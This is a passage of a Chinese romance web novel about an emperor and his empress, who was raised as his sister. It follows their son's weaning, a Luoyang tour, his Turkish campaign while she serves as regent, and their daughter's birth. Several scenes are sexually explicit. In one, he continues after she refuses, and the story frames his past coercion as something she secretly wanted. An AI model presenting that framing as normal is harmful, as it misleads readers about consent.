这一天太子戎在园子里玩过了一会儿,手里抓着一枝缀满花骨朵的桃枝回来了,讨好地献到媜珠跟前。
媜珠含笑接过:“这正好呢,还是一整枝的骨朵,回去插在瓷瓶里养着,几日就能开花了。”
太后招手唤他过去,慈爱地给他擦了擦脸上的汗珠,又叮嘱媜珠说:
“看他才疯玩了一场,热得满头大汗,小孩子忌讳立刻就吹了凉风的,你要仔细看着,尤其春日里更不能随意给他脱衣裳。”
媜珠应下:“妾知道的。”
太后也笑:“现在我这辈子的指望啊,就是看着我们戎儿一日一日地长大了。只盼再等一眨眼的功夫,我们戎儿就长成大人了。”
太子戎的出生令他外祖赵国公府贵极天下,也令他祖母多添了无数笑颜,一年来看着竟像是年轻了数岁似的。
皇帝也奉承她,说了句叫太后高兴的话:“母亲贵体康健,还要看着戎儿成家娶妻、让您做上曾祖母的那一日。”
媜珠做了件聪明的事。
她狠了狠心,在太子戎走路还走不稳妥的时候彻底给他断了奶,让他再也不能跌跌撞撞、连爬带走地过来问她要奶喝。
随着他被断了奶,周奉疆也不能再在媜珠身上尝到这份甜如蜜浆的好处了。
他们父子二人似乎都极是不舍。
有经验的乳母们都说,要给孩子断奶,则必要母亲与孩子分开几日,短则两三日,长则数日,都是说不准的。
她们心里还偷偷想着,宫里的孩子本就更比宫外的孩子金贵娇气,尤其是小太子,更是帝后父母亲手带大养大的,又不知如何疼他,恐怕要给他断奶是件不容易的事儿,还有的闹的呢。
媜珠也发过愁。
然而这孩子竟然很有骨气,——比他父亲都有骨气多了。
他甚至都没正经和媜珠分开过,只是被媜珠委婉地拒绝了一回,媜珠捂着心口说“阿娘今天不舒服,不能喂你”,他愣了愣,就再也没要过一口奶了,到了晚间便正常吃肉糜羹当饭。
养育一个又好带又健壮的孩子,不拘他聪不聪明、日后能有多大的出息,已经足够叫父母省心到延年益寿。
不过朝臣们都说太子殿下是聪明的。
这或许源于在他的周岁宫宴上抓周时,他稳稳当当地抓住了一本三省臣僚学士们为他精心编写的《君王策阅武卷》,他卖了这些人这么大一个面子,这些人也就日益对他充满期待,满口夸赞。
岁月一丝一缕地慢慢在掌心中穿梭、流逝,媜珠与周奉疆日渐恩爱,往昔的隔阂似乎渐渐都消散得干净了。
四下无人时,她还是喜欢叫他哥哥或者兄长,这是她长久以来养成的习惯,刻在骨子里,不容易改了。
周奉疆心下偶尔也有过些许怅然,他想,她接受他在身边,接受他们之间的床笫之欢,愿意为他生育子嗣,是不是还是因为从前做兄妹时的情意?
是靠着那些情意,她才和他过到一起来的,她还是没有完完全全拿他当做丈夫。
媜珠哄过他几次之后就懒得理会了,她只会不咸不淡地敷衍几句:
“妾不仅把陛下视作兄长,陛下还是国之君父,也是妾的君父,妾愿意将陛下当做父亲一般敬着,陛下满意吗?”
从她生产后至今,他们在床榻上一直分外和谐融洽,淋漓畅快,媜珠的身段愈见熟透了,也时常会顺从他的心意主动迎合。
她的眼睛里再没有半分抗拒,她的身体需要他,他们是契合的。不需要他再强迫她什么,她就会主动缠上他的身。
这倒令周奉疆的内心得到了极大的慰藉和安心。
可是很快,在某个夜晚,这种安心似乎也被打破了。
在柔风甘雨的一场情事毕,媜珠累倦地枕在圆枕上细细喘息,他为她擦拭身体时却忽然察觉她的情绪仿佛有些低落,兴致也并不怎么高。
这不需要她亲口说出来,他太熟悉她,太了解她,她只是静静地躺在那里,和平日里分毫不差的姿态,他就是能从她每一根头发丝里读懂她的情绪。
她不高兴,不太满意。甚至就连她轻轻抿起的唇瓣上,他都能看出她尚未被满足。
他心头像是被蓦然泼了一盆冷水,刺得自己浑身发寒,指尖都有些发颤。
——这已经不是他第一次隐隐约约发现她有这样的情绪了。
男人的自尊心当然是受不得这种打击的,更何况是周奉疆这样的男人。
他虽年长她六七岁,可也才刚过而立之年,床帏之事从来都如此频繁,就连白日里隔三差五还有一场宣淫欢好,他到底哪里没有喂饱过她?她何至于摆出这样的姿态来面对他?
可这样的话男人又是不好亲自问出口的。
那盆冷水泼给他的不安与疑虑又化为一股无名的邪火,他将手中的巾帕丢到地上,冷着脸将她翻过了身来,攥住她的双手又覆身压了上去。
媜珠迷迷糊糊推了他一把:“……不要了,我好累了……”
他不管不顾,动作依旧。
这夜的事儿在他心里埋下一根细刺,他难以释怀,也不免像过去的所有皇帝一样忧心起了来日自己年华老去的事情。
他又想到自己到底比她大,等他到了四十不惑之年时,她才三十多岁,正是一个女人最娇腴美艳的年纪……
现在她就这样嫌弃他了,再到了以后,又该如何?
后来是他自己琢磨透了媜珠的性子,发现了其中的关窍。
她欲求不满,单纯是因为他因为怜惜而对她百般呵护,在床榻上没再舍得让她吃过半分苦头,许多时候甚至是强压下了自己的许多心魔和癖好,不忍心折腾她,怕她觉得他是在羞辱她、强迫她、凌虐她。
但她根本不领情。
其实她的身体多少还是喜欢像从前那样被他对待的。
因为每每她在和风细雨的床事中流露出兴致缺缺的乏味表情时,他心间火气涌起,对她不可避免地粗鲁不耐烦了几分,将她翻过身来,捞着她的腰肢让她跪在榻上,压着她的脸埋进柔软的圆枕中。
浓密如云雾的长发铺散了半张床,媜珠被刺激得逼出了些许泪珠,沁在苏绣的枕面上,晕开了一小团水痕。
可是这一场云雨结束后,他恍然惊觉她没有半分恼怒和不快,没有对他发脾气,甚至于神容间都泛着几分心满意足。
她伏在他胸膛上沉沉睡去,温顺如一只柔软雪白的兔,静谧娇憨。
他默默地看着她,眸光也柔和了下来。
拿捏住了她的七寸,摸到了她的命门,但他一言不发,装作浑然不知。
他要等她自己说出口。
最后也真是媜珠自己忍不住了,某一夜强忍着羞意攥住了他的袖口,含泪别过了头去:
“哥哥……哥哥,你能不能对我凶一点?就像以前那样……”
能对他说出这句话,已费了她毕生的力气。
周奉疆哂笑:“你说什么?”
媜珠泪眼朦胧:“我想要你对我凶一点。”
她还补充了一句,“你知道我说的是什么意思,我都跟你做了这么久的夫妻了,你不要和我装聋作哑。”
他眼底的笑意愈发玩味:“那你是想要哥哥对你多凶?”
她不再言语,总归脸面都在他跟前丢尽了,索性一怒之下推开了他,拂袖欲去。
周奉疆在她走出两步后一把从身后攥住了她的手腕,将她拖了回来,扔回床榻上。
“朕从前就对你说过许多遍,——朕为什么会那样对你,因为你的眼睛一直在告诉朕,你喜欢被这样对待。”
“你从前就喜欢,只是故作清高烈性,到如今才承认而已。”
媜珠跪趴在被褥上,眸光哀怨凄婉地看向他:“那陛下有没有想过,是因为如今妾心慕陛下,所以不论陛下对妾做什么,妾才都会喜欢。”
“是么?得皇后倾慕,乃朕毕生荣幸。”
这一年秋,皇帝终于履行了那个要带媜珠去洛阳的承诺。
天子带着太后、皇后、太子与臣僚百官巡幸洛阳,于这一年冬十二月初一抵洛阳城,入居洛阳宫城。
洛阳的宫室在数年前的乱世中曾遭遇过许多武人的砸烧劫掠,但还是保持了其大致的形状,新帝立国登基后命工部修缮洛阳内外宫城,到如今已将其恢复如初,光辉如故。
游历洛阳城景,想起年少时于闺阁绣楼中读过的那本《洛阳伽蓝记》,媜珠心下也万般感慨。
华林园、苍龙海、天渊池、九华台、清凉殿、蓬莱山、仙人馆、钓台殿、虹蜺阁……
记述于其上的种种亭台楼阁、宫殿城阙,有些还历历在目,有些被后人修缮复建,也有的历经岁月变迁,早已不可寻其踪影。
曾经她梦想着成为河间王妃,希望跟随张道恭来到洛阳,如今她来了洛阳,张道恭也的确来了。
——当然,周奉疆把他拉过来还是为了羞辱他的。
张道恭如今的身体愈见憔悴孱弱,已是病得不行了。
自从去年太子戎的百日宫宴上,周奉疆命人幸灾乐祸地告诉他周婈珠生女之事后,张道恭气怒上涌,又兼亡国之恨交加,心肺郁郁,久积成疾,身体自是就这样不中用了。
他自然有他的恼恨羞怒之处,一个周媜珠,一个周婈珠,周家的女人一个接着一个的背叛他、羞辱他,是他的毕生大耻。
周媜珠是被人强占掳走的,那也就罢了,可周婈珠又算什么呢?她也敢背叛了他!而且还是和一个那样卑贱的侍卫厮混在一处生女!
恼恨之余,他又不禁联想起来,总怀疑段充和周淑妃二人在更早之前就定有私情,只是瞒着他没有让他发觉罢了!
他竟被这些贱人一而再、再而三地骗了这么多遍!
想得越多,气得越多,不甘心的也就越多,身子也就越来越差了。
周奉疆听说后私下嘲讽了一句:“恐怕他的寿数连灿娘也熬不过。”
在洛阳数月的时间里,太子戎被丢到他祖母处照管,皇帝带着媜珠游玩了洛阳城内外的大小名胜景致,屡屡同她微服出游,观龙门石窟,拜洛神之庙,两人还几乎尝遍了洛阳街市中的酒楼名菜。
他满足她的心愿,带她去登她早就想一览真面目的老君山,游五母金殿,两人只做寻常富户人家的装扮。
他是游历四方行走江湖的富商公子,而她则是他的爱妻。
起先媜珠一路上很高兴,还会牵着他的衣袖和他撒娇说:
“爷,妾听见旁人在边上窃声议论您,说您不像是个老实商人,倒像是劫掠烧杀的匪户恶商。”
周奉疆笑着回她,和她十指相扣,“是,你就是爷从外头抢来的良家妇人。”
登山才过不久,媜珠就有些累倦,约莫是爬不动了,她掂量自己的体力,犹豫着想要回去。
周奉疆俯身示意她上来:“上来吧,爷背你。”
媜珠忸怩拒绝:“这多不好呢,旁人看见了不知怎样议论。”
“那我扛你上去?我扛着你,人家更要说你是我从外头掳来的了。”
媜珠莞尔,爬上他的背,被他一路稳稳当当地背上了老君山,他神色如常,连眉头都没皱半下。
他一步步行走在山道上,他走一步,她的心里就更爱他一分。
她默默数着他走了多少步,从一数到一百,数了一遍又忘记了,就从头再开始,一遍又一遍,不知究竟数了多久。
“夫君。”她唤他。
“怎么了?饿了?还是渴了?”
媜珠说:“夫君,我要去五母金殿求我们来世的姻缘,我们生生世世都要做夫妻,你只能是我一个人的丈夫。”
这一趟巡幸洛阳,让他们之间的感情更为浓厚,媜珠同他愈发恩爱起来。
如胶似漆,缠绵缱绻。
正因如此,当太子戎三岁这年,龙章六年的春日,皇帝告诉她说,他将要亲征北地突厥,要留她在长安做监国皇后时,媜珠是错愕而不舍的。
第113章
他有他的抱负和气性,媜珠犹能看得出来。
周氏起家于北地,手握边塞营州等城池,地域辽阔。北地的风土沙尘为周家养育了健硕骁勇、身姿雄壮的士卒们,也赋予了周家必须要承担的职责。
——守边,平乱,护住国门与尊严。
营州是汉人与胡人来往的门户,多少年来,奚人、契丹人、突厥人和无数的异族胡人意欲来往劫掠营州百姓,又是周家一次次派人镇住了他们,将这些人远远驱逐了出去。
周奉疆也不是没有在突厥人手里吃过亏。
昔年他欲问鼎中原,自冀州起兵南下,便有中原的其他节度使纷纷勾结关外突厥人,暗中撺掇突厥人在这个关口再犯营州,在北地牵制住周奉疆的手脚。
只有以国门的安危把他扣在北边不得动身,他们才能摆脱一位劲敌的威胁,安心去争抢天子的宝座。
当年为了打服这些突厥人,他在营州边镇也付出了不小的代价,白白多牺牲了多少北地将士的性命!
这份血仇,迟早是要报回来的。
其实多年来他早有在北地边域用兵之意,只是碍于种种缘由才不得不一拖再拖。
他的江山才刚刚平定,他的百姓需要休养生息,在国朝之内还有许许多多要他去忙碌、安定的朝政琐事,就连用兵征伐的粮饷也要从长计议,不能随意挥霍国库。
他被太多的事情掣肘,直到如今才终于有了动身的时机。
他不仅要在国力恢复之后征伐突厥,而且还一定要亲自去。
太子已满三岁,活泼健壮,聪敏过人,颇有储君风范,而媜珠也不再是年轻懵懂不知世事,这两三年来他也常带着她出入宣室殿内,与她议论国事,也教了她许多她应该会的东西。
皇帝能够安心地走,把长安留给他的皇后和太子。
媜珠先前虽早已隐约猜出他的心意,但当他真的开口和她提及此事时,她还是惊愕难安的。
“陛下……”
她轻声唤他,眼眶微湿,喉间哽咽,万千牵挂和惦念已不必多说,她有她的担心和忧虑,还有那个所有人都害怕的最坏的结果,她不敢直接和他提起。
周奉疆按住她的手,将她搂到怀里,抚着她的背安抚她:
“我会好好地回来,我不会出事的,我向你保证,好不好?”
媜珠呜咽不语。
他顿了顿,又说,“该给你的权柄,我都给了。你在长安安心等我回来。……朕若回不来,你的儿子就是天子,你就是垂帘听政的皇太后。”
良久,媜珠才低声开了口:“国之大事,在祀与戎。陛下用兵动武之事,前朝的朝臣们都无异议,妾更不能为了儿女私情去拖累陛下,说那些舍不得陛下的话。妾会为陛下守好家国,抚育幼子,孝顺太后。可是……”
可是什么,她没再说。
——可是我会舍不得你,做皇后时我可以完美无缺、没有儿女私情,做你的妻子时,我不能接受离开你这么长的时间,我只是个普通的妻子、普通的女人。
龙章六年,春四月庚申,天子服武弁,乘革辂,备六军,祭祀宗庙社稷,告之祖先,又祃祭黄帝,宰杀牲畜为祭。
在皇帝临走之前,媜珠几乎是熬红了眼睛,一连熬了十数日,为他亲自裁剪了几身新衣。
太子戎懵懵懂懂地意识到父亲将要离开他很长一段时间,父亲将要去做一件不得不做的很危险的事情。
祖母赵太后命丽正殿的学士们教他背了一首《诗经》里的篇章为他父亲送行,是《大雅常武》篇,讲的是周宣王亲征徐国又凯旋的故事,寓意极佳。
他背得很熟练,声音响亮,底气十足:
“王奋厥武,如震如怒。进厥虎臣,阚如虓虎。”
皇帝很欣慰,俯身摸了摸太子戎的脑袋,又问他说:
“这是你祖母和学士老师们教你背的篇章,那你自己呢?你自己有没有什么话要和爹爹说?爹爹不在宫里,你要听你母亲和祖母的话,知道吗?”
太子戎从脖子里掏出一枚串着红绳的压胜钱铜币:
“阿娘说这是我出生后祖母给我的压胜钱,保佑我平平安安不生病的,我要把它送给爹爹,让它保佑爹爹也永远平安。”
他微笑着收了下来,极言夸赞孩子的孝心,也和他承诺说,爹爹有了你送的钱币保佑,一定会平安顺遂,很快凯旋。
而后他又在夜里太子戎熟睡时悄悄把它放了回去,把那枚钱币压在了孩子的床底下。
媜珠披着寝衣默默地站在一旁看着他,和他相视一笑。
四月末,天子率军离长安。
媜珠身着皇后翟衣,牵着太子戎的小手,站在长安的城墙上静静看着他的仪仗远去。
她心中已有一种预感,这将会是他们分开时间最长的一次离别。她从出生至今,从没有离开过他这么长的时间,以前哪怕是他在外面打仗,长则数月而已,他中间好歹还是会回冀州一次的。
那这次呢?
至少一年之内,他都不会回来了。
皇帝这一趟亲征,还带去了已经赋闲在家多年的颍川公主驸马韩孝直。
多年前韩孝直他弟弟犯下的那桩谋逆之事彻底毁去了韩驸马往后的仕途前程,皇帝也说过绝不会再重用他、给他官职。
而这一回破例,也是看在韩驸马声泪俱下、上书亲乞的份上,皇帝额外开恩的。
——韩驸马说他只求能为天子效力,做军中一个没有官职衔位的无名士卒,为大魏尽一份苦力,偿还他弟弟犯下的罪孽、回报这些年自己享受驸马之位得到的名禄。
他一再这样恳求,皇帝还真的允了。
的确是没有任何官职,只是一个小小的军中斥候,倒是又回到了他年少时的起点了。
其实他应当能猜到的,他这一去,多半无命再回长安。他选择这么做,也只是为了拿自己的命填在关外的战场上,稍稍平息皇帝对多年前旧事的怒火,尽量多保全他一双儿女的将来。
他能猜到,颍川公主未必猜不到。不过颍川公主什么也没说。
周奉疆走后,媜珠在宫里的日子一如寻常,安静而宁谧,按部就班地一日一日过下去。
他留她在长安城内做一个监国皇后,她也以纤薄的脊背撑起了大局,发号施令,统御朝臣,文武百官未敢有不服者。
有赖上苍庇佑九州,他不在长安的时日里,天下一如既往太平安定,海晏河清,既无天灾,更无人祸。
于宫墙之内,她抚育幼子,孝顺母亲,把自己小家之内的事务打理得井井有条,一丝不乱。
自皇帝走后,太后每日礼佛就更加虔诚了,不仅信佛,她还信道,整日叽里咕噜念着一些经文符咒的,媜珠去听了几回,极为错愕地发现她母亲竟然还真是操着一颗慈母之心在为皇帝祈福。
媜珠不由发笑,劝母亲说:“其实他并不大信这些,他说了,他手上沾了那么多血腥人命,不管是哪里的佛祖来了都不会庇佑他的,他也叫我不必费这些闲工夫给他念经祈福呢。”
太后白了她一眼:“他信不信是他的事,做母亲的,我该尽我的心就要好好尽心。——何况他真不信这些神佛么?你们那年在老君山上要死要活地赌咒发誓,祈求来世还做夫妻的,难道是我记错了?情情爱爱的时候也没见你们不信这些!”
媜珠顿时无话可说,只得默默退下。
数月间,关外的军报一封封传回长安,媜珠一封封地接过,一次次拆开,每一次她的心都悬在生死之际,唯恐看到那些她实在无法接受的消息。
还好,还好,他给她带回来的还都是好消息,他一次次让她的心“活”了下来。
媜珠也给他写去了无数封家信。
她总是写的很简短,她只说,朝内安定,四海晏然,母安,子安,妾安。
妾不敢以家长里短的琐事分了陛下的心神,可是妾的确有许许多多的话想说给陛下听。
妾倚椒房门,只待君王归。
白日里,她是个好皇后,好母亲,好女儿,许多个夜晚,当她的世界只剩下她自己时,
……她夜不能寐。
龙章六年的秋天时起,他断断续续命人给她寄回了许多礼物,是皇帝从突厥人手中缴获的各色珍宝,媜珠一件件将它们收好,堆在她的库房里,等着这间宽阔的库房被慢慢堆满时,她想,也许他就会回来了。
后来得知皇帝战胜凯旋,斩突厥王汗首级,扩汉家边域,北逐突厥数百里,已是一年多之后的事情了。
他带着一身战胜后的风尘回到长安时,正好又是两年后,龙章八年的暮春时节。
皇帝回来了,他的连襟、颍川公主的韩驸马却终于把性命留在了营州的关外,再不得回。
他死得很平淡,绝算不上轰轰烈烈或是浓墨重彩,不过是在某个深夜里,他以斥候的身份前去侦查突厥军情,不慎被突厥骑兵察觉,于是在力战不敌之后,他被人一刀砍死。
突厥人绝对不知道这是大魏的驸马,若是他们知道,定不会这样轻易杀了他。
事实上,不仅是突厥人不知道,就连韩孝直在军中的许多同袍们也根本猜不到他居然是驸马。
君以军功立身,又在沙场还命,把前半生享有的荣华富贵再度以相同的方式偿还给了命运。
后来有人在他在营帐中的被褥里发现了一封他留下的信,信里说,他若有幸为国为君而死,请陛下千万千万不要因此加恩于他的儿子,不要因此厚封他儿子什么官职,他是戴罪之身,还有能为陛下尽忠的机会,已是陛下额外开恩,让他能死得坦坦荡荡,不负陛下知遇之恩。
若是陛下真的要赏他点什么,就请陛下能善待您的妹妹颍川公主就好了,请陛下可以再为颍川公主挑选一个更好的丈夫,是罪臣拖累了公主,害得公主数年来郁郁寡欢,臣死不足惜。
皇帝寥寥为此叹息了一声,进颍川公主为颍国公主。韩孝直既说不要给他儿子官职,那就给他儿子一个爵位,给了他女儿一个县主的封号。
人死了,颍国公主又怅怅想起了他还在世时候的许多好处,想到昔年还算夫妻同心之时,他们也曾恩爱过。
她哭了几场,还是将一切的罪孽怪给了周婈珠。
“都怪当年那个贱人做的鬼局毁了我丈夫的前程,都是她害死了我的丈夫,凭什么我的丈夫死了,我守了寡,而她却还能心安理得地和那个什么段充厮混在一起?凭什么?”
骂过了自己的姐姐,她最终又把这些过错推给了张道恭。
周家姐妹三人一生命运的环环相扣,始于那一年张道恭来到了冀州,俘获了两个女孩儿年少的芳心。
如果周媜珠和周婈珠能像她一样清醒自持,自始至终没有对那个张道恭动过什么心,最后如何还能惹出这些纷争来?
如果没有张道恭,或许一切都会是最好的模样,她会嫁给韩孝直,二姐姐也会嫁给段充,姐妹三人的人生都是安稳和睦的,富足尊贵的。
不过到底活人的日子不能为了死人驻足停步,她总归还要往后看的。
哭过了也就哭过了,夫妻一场,她为他做的也足够了,不亏欠他什么。
“就算我往后真的会再嫁,我也只会和你一个人合葬。”
这是她给他的承诺。
周奉疆一去两年,再回来时,这一年他已经三十五岁了,正是中年。
太子戎从三岁长到了五岁,脑海中依然还存有自己父亲的清晰的记忆。
见到父亲久别归来,他遵照祖母、母亲和太傅老师们所教导的礼仪,恭恭敬敬地上前向父亲行礼。
皇帝抱起他在怀中掂了掂,连声夸他长高了,也沉了不少,越来越真像个大人了。
他凑在太子戎耳边问:“还记得我是谁吗?”
孩子眼眶湿润,忍着泪意说:“爹爹,是爹爹,我好想你。”
他抹去戎儿的一点泪光,又悄声问他:“那你阿娘有没有想爹爹?”
戎儿答“有”,他哽咽道:“阿娘夜里常常睡不着,她寝殿里的灯总要亮到半夜,我还经常看见她在给爹爹写信,写好长好长的信,但是最后又没有寄给爹爹。”
皇帝问:“那你有没有问她为什么不寄给爹爹?”
戎儿说:“阿娘说,她有很多很多的话想要和爹爹说,但是又怕在中军帐里分了爹爹的心神,所以她不敢寄,我猜阿娘肯定是想等爹爹回来自己去看。”
他离开的时候戎儿才三岁,三岁的孩子并非记不住父母,但隔了两年了,见到父亲还能这样亲密依恋,那一定只能是孩子的母亲常常在他面前说他父亲的好话。
她总是会在孩子面前说,他父亲有多么地爱他,对他有多么的好,说如果现在他父亲能陪在他身边该有多好。
她说的多了,孩子自然会对自己的父亲满心向往濡慕,迫不及待地想要再见到父亲。
周奉疆看向一旁的媜珠。
他把太子戎放回地上,牵起了媜珠的手,用力握紧,和她十指相扣:
“这两年里,皇后辛苦了。朕知道皇后有许多的话想要和朕说,朕会一件件地听你慢慢讲。”
媜珠这一年二十九岁,美艳雍容,凤仪华贵,容光神韵更甚年少青涩之时。
她忍下眸中泪痕,别过了头去,
“妾没有什么要和陛下说的,妾替陛下监国,为陛下抚育储君、孝顺太后,该向陛下回禀的国事,妾都一一回禀了。”
他知道她心中有些委屈怨气,握了握她纤细的手,语气分外和缓地哄着她:
“那今夜我们不说国事,只说我们夫妻二人之间的家事,这两年里,你的辛苦、委屈和怨恨,都说给我听,我好好地弥补你,好不好?”
皇帝还朝,宫宴毕,待他再度回到椒房殿时已是这一日的深夜时分。
喧闹了一整个白日,直到此时才能安静下来,是独属于他们的时光。
原先太子戎还缠着他们,周奉疆拿出他带给戎儿的礼物打发走了他。
是一座城池沙盘的模型,城楼威武雄壮,里头还有各种做得精巧的骑兵、步兵、重甲精锐的人偶,战马、云梯战车等的模型,俱是栩栩如生。
这个年岁的孩子是绝对拒绝不了这种玩具的,戎儿高高兴兴地带着这些东西回去摆弄了,也不再黏着自己的爹娘,甚至满口答应说这几日都不会再来找他们。
媜珠咬唇问他:“你不喜欢戎儿了吗?你不想你的儿子吗?为什么让他这几日都别来找我们?”
他抱着她坐在自己膝上,摩挲着她削瘦了的腰肢,低声暗哑地反问她,语气暧昧:
“你说为什么?”
媜珠顿了顿,也不嫌他身上犹带着浓浓的酒气,忽地环抱住了他,将自己柔软的朱唇印在了他的唇上,这一吻颇有些惊天动地的意思。
若是小别可胜新婚,那他们这样长达两年的久别又该算作什么呢?
都对彼此的身体思念到了极致,真是实实在在的久旱逢甘霖,恨不得抵死缠绵,双双就这样死在这张床榻上才好。
他只记得媜珠呜咽着在情浓之时对他说了一句话,
她说,看着我这样离不开你,你是不是很得意?
你离开了两年,我不仅没有半分的高兴,反而越来越发现自己离不了你,你得逞了,对不对?
他吻她,也咬牙切齿地回她说,如果我死了,我希望你好好地活下去,但如果你死了,我是活不下去的,等我把我们的孩子养大了,我就会去给你殉情陪葬。
明明是我离不得你才对。
他们像两只不知疲倦的兽,在这糜艳柔软的床帐之内雄起雌伏地痴缠了许久。
媜珠隐约记得天光大亮,又恍然被拖入了另一个黑夜的深渊,如此往来数次,她没了自己的神智,连自己也不知道今夕是何夕,不知道时间到底流逝了多久。
中途她有过疲惫虚弱地快要死去一般的错觉,周奉疆托着她给她喂水喂饭,抱着她去沐浴,为她清理了身体,又一次次将她弄脏。
他将她扣在自己怀里,在他颀伟身躯的衬托之下,她仿佛就只剩下了那么小小的一团,完全合该被他揉进他的骨血之中,和他融为一体。
短暂清醒的时候,媜珠也会披头散发地跪坐在床榻上,细细抚过他身上新添的几道伤疤,眸中也有过心疼。
她的身体雪白无一丝瑕疵,但他身上种种可怕的新伤旧痕却是层层叠叠的,望之令她生惧。
她不说话,周奉疆俯身衔住她的唇瓣、耳珠,和她耳鬓厮磨,
“娘娘要是愿意亲一亲它们,臣就不痛了。”
媜珠深深望了他一眼,想也不想地把朱唇印了上去,伸出舌尖触碰,留下湿润的水痕。
那触感令他胸腔一震,他不可自控地按着她的后脑往下,“那娘娘还不如亲亲这儿。”
中途她有过阵阵昏睡来补充体力,周奉疆眉目定定地看了她许久,披衣起身,从她梳妆台下的箱笼里翻出她这两年写了却没能寄给他的那些信,一封封读过。
某个片刻,他回望往昔,又见今朝,看着她的字字情真意切,竟然也会忍不住落泪。
他只为她落泪过。
等媜珠终于意识彻底清醒过来时,是浑身近乎虚脱似的躺在榻上,一边是头晕脑胀,神思恍惚,甚至身体还有一些肿胀破皮的刺痛,是纵欲过后的报应;一边是心满意足,细喘微微,似一朵吸饱了雨露的海棠,只觉自己终于活了过来。
太子戎跑进了殿内,守在她的床边唤她:“阿娘,您这几日怎么都不见我,您已经十日没有来检查儿子的课业了。”
媜珠猛地睁开了眼睛,艰难地从榻上支起身体来:“你说什么?”
太子戎满眼担忧地望着她:“阿娘,儿子都十天没有看见您了,您都不来检查我的课业了,祖母叫我别打扰您和爹爹,她说爹爹和阿娘有很重要的事情……”
媜珠眼前一片昏黑,恨不得自己真死在床榻上才好。
他在外头的几年当然是断了那些凉药的,刚回宫里时也没有去饮那些汤药,频繁纵欲欢好的后果是这一年五月初时,王医丞来给媜珠切脉,一张遍布皱纹的老脸上又不由得暴露出了那种要发横财似的喜悦感,连声向她道贺,说她已有了足月的身孕了。
这老匹夫又做好准备要从龙胎身上大捞一笔了。
天子大悦,恩泽遍及天下,厚赏了赵皇后的母族赵国公家,又封了赵皇后两个侄儿的侯爵,足见是荣华已极,分明不是第一次做父亲了,可是宫里却甚当年赵皇后初怀太子戎时的场面。
他们要有第二个孩子了,他真的很高兴。
沓樰團隊 媜珠依偎在他怀里:“妾也很高兴,妾觉得这一定是个女儿,妾有预感。”
龙章九年春初,二月初九,赵皇后在椒房殿内生下了国朝的第一位公主,还是中宫皇后所生的公主。
皇帝三十六岁时才得了第一个女儿,这是再标准不过的中年得女了,又是毕生挚爱所生,男人焉有不极尽宠爱的道理?
公主一出生便被封为汉国公主,帝后为她取名为“宝鸾”
手中至宝,天上鸾凤,莫过于此了。
宝鸾刚生下来时,周奉疆便抱着这个小小一团的女儿对媜珠说:
“她和你当年才出生时几乎一模一样。”
太后也是连声夸赞这个孙女儿极漂亮,是个有福气的孩子。
三十年前,他就曾这样见证她的降生;三十年后,那个小小的女婴长大成人,又为他生下了一个女儿。
不论是小公主的帝后父母还是她的太后祖母、太子兄长,都对她倾注了满心的宠爱与呵护,宝鸾仍是被媜珠和周奉疆带在身边亲自抚育长大的。
汉国公主得到了父亲赐予的万户封邑和各种珍宝礼物,在她的满月宴上,皇帝又让群臣争相为她作诗赋祈福,像是个急于炫耀爱女的普通父亲,争着让所有人来夸赞他的女儿,他的女儿定会是这世上最幸福的小公主。
他的确履行诺言,将他年少时没能给媜珠的那份荣宠全都倾注在了女儿的身上,将她爱如掌珠犹不满足,就像是真的要借着养她将媜珠给重新养大一遍似的。
媜珠也极疼爱她。
她的两个孩子在她看来都没有区别,她也不应有什么厚此薄彼的心思,当年怎样疼爱太子戎的,现在就怎么疼爱宝鸾。
——但终归还是有不一样的。宝鸾出生在她爱周奉疆的时候,从怀上她到生下她,她都在爱宝鸾的父亲,这是他们两情相悦、恩爱情浓的产物。
太子戎那时候和她就没法比了,到底是差了一点的。
何况她是女儿,生得又这样像她这个母亲,媜珠难免忍不住生出几分稍稍偏爱的心思来。
其实宝鸾还不如戎儿小时候好带呢,她满百日后不久就生了一场病,咳嗽了好几日不大肯吃奶,才三个多月的小婴儿,叫她祖母、父母兄长的心都悬了起来,牵挂得饭也吃不下。
媜珠担惊受怕了好久,夜里都睡不安稳,疼得心都抽紧了。某一夜她迷迷糊糊地起身看孩子,发觉周奉疆一动不动地坐在宝鸾的摇篮前守着她,寸步不离。
太子戎说:“祖母年重,还在日日为阿鸾妹妹祈福念经,母亲日夜照顾妹妹,这样辛劳,父亲忙于朝政,一面为国事、一面还要牵挂着妹妹,只有我作为兄长什么都不能为妹妹做的,儿愿以储君之身,茹素百日为妹妹祈福,换妹妹平安康健。”
媜珠虚弱地笑了笑,抚了抚戎儿的肩,对他说:“戎儿有作为兄长爱护妹妹的这颗心,上苍已经知道了,妹妹一定会好起来的。你还小,还要长身体,该吃肉就要吃肉,你要像你父亲那样,长得高高壮壮的,以后才能一生一世地保护好妹妹,知道吗?”
天子一家都把心牵挂在这襁褓幼女的身上,赵太后总有奇招,又吆喝到先帝周鼎的牌位前闹事,声称她孙女儿要是好不起来,但凡她的宝贝孙女儿有个三长两短的,那一定是周家那些死了的祖先无用无能,她就要把周家这些祖宗的牌位全都砸了,给他们刨出来鞭尸。
最后不知是仰仗上天垂怜还是祖先庇佑,亦或是媜珠和周奉疆照顾有加的功劳,小公主果真平平安安地好了起来,之后再没有生过什么病了。
周奉疆愈发珍爱她,常把她抱在怀里陪她玩耍,宝鸾咯咯地笑着,口水总会流到他的龙袍上去,他也浑不在意。
宝鸾很活泼,又如媜珠年幼时一般依赖着他,他心甘情愿地伺候女儿,亲力亲为地照顾她。
两三岁之后,宝鸾在这宫里就是被到处抱来抱去的一只大宝贝,谁也不知道她这一刻会待在哪里。
平日里跟媜珠待在椒房殿里,又总是会被她祖母抱去陪伴祖母,时常更被皇帝带到宣室殿去玩耍,就连她的太子兄长也要把她抱去他东宫的学堂麟德殿去。
跟祖母在一起时,赵太后一边在佛堂里念经祈福呢,她就趴坐在干净的地毯上,在菩萨佛祖面前吃着肉羹;到了宣室殿里,有时皇帝一边端着碗给她喂饭,哄着她多吃一口东西,臣僚们一边立在那儿低声回话。
太子兄长在和太傅老师们上课,宝鸾坐在地上旁若无人地玩着玩具,她哥哥偏偏还就喜欢她在自己身边陪着他。
于是乎她的一堆玩具也拖拖拉拉地扔得到处都是,承圣殿、宣室殿、椒房殿还有太子的东宫里,到处都能找到她某一日丢下的玩具,她的一只兔子玩偶还堂而皇之地就摆在皇帝的御案上,软乎乎的毛绒兔儿趴在了皇帝的玉玺上,一连趴了大半个月都没人敢吭声提醒。
她是这宫里的至宝,所有人都要从她这里求得几分开心高兴来。
